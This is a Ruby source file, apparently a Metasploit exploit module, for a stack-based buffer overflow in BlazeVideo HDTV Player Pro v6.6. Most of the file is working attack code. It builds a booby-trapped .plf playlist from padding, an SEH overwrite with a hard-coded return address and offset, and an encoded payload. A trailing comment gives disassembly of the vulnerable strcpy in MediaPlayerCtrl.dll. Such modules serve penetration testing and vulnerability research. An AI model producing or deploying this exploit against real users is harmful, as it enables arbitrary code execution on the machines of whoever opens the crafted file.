110 lines
3.3 KiB
Ruby
110 lines
3.3 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info={})
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super(update_info(info,
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'Name' => "BlazeVideo HDTV Player Pro v6.6 Filename Handling Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability found in BlazeVideo HDTV Player's filename
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handling routine. When supplying a string of input data embedded in a .plf file,
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the MediaPlayerCtrl.dll component will try to extract a filename by using
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PathFindFileNameA(), and then copies whatever the return value is on the stack by
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using an inline strcpy. As a result, if this input data is long enough, it can cause
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a stack-based buffer overflow, which may lead to arbitrary code execution under the
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context of the user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'b33f', #Original
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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['OSVDB', '80896'],
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['EDB', '18693'],
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['EDB', '22931']
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x0a\x1a\x2f\x3a\x5c",
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'StackAdjustment' => -3500
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "seh"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# MediaPlayerCtrl.dll P/P/R
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# Tested on: Windows 7 SP1/SP0, Windows XP SP3 / Windows Vista SP2/SP1/SP0
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['BlazeVideo HDTV Player Pro v6.6.0.3', {'Ret'=>0x64020327, 'Offset'=>868}]
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],
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'Privileged' => false,
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'DisclosureDate' => "Apr 03 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf'])
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], self.class)
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end
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def exploit
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buf = 'http://'
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buf << rand_text_alpha_upper(target['Offset'])
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buf << generate_seh_record(target.ret)
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buf << payload.encoded
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buf << rand_text_alpha(5000-buf.length)
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print_status("Creating '#{datastore['FILENAME']}'...")
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file_create(buf)
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end
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end
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=begin
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Version: HDTV Player Professional v6.6
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In MediaPlayerCtrl.dll (File version: 2.0.0.2; Product version: 2.0.0.2)
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.text:6400E574 mov eax, [esp+138h+Source]
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.text:6400E578 mov edx, [ebp+0ECh]
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.text:6400E57E push eax
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.text:6400E57F push eax ; pszPath <-- Our URL
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.text:6400E580 mov edi, [edx]
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.text:6400E582 call ebx ; PathFindFileNameA
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.text:6400E584 mov ecx, [ebp+0ECh]
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.text:6400E58A push eax ; File path to copy
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.text:6400E58B push esi
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.text:6400E58C push 1
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.text:6400E58E call dword ptr [edi] ; 0x6400f1f0
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0x6400F1F0 (no length check either) goes down to 0x6400F670:
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int __thiscall sub_6400F670(int this, int a2, int a3, const char *source, const char *a5)
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{
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...
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v5 = this;
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if ( a2 && source && a5 )
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{
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memset(&buffer, 0, '\x02\x10');
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v16 = *(this + 4);
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*(this + 4) = v16 + 1;
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v18 = a3;
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buffer = a2;
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strcpy(&Dest2, source); // <-- This is a rep movs
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=end
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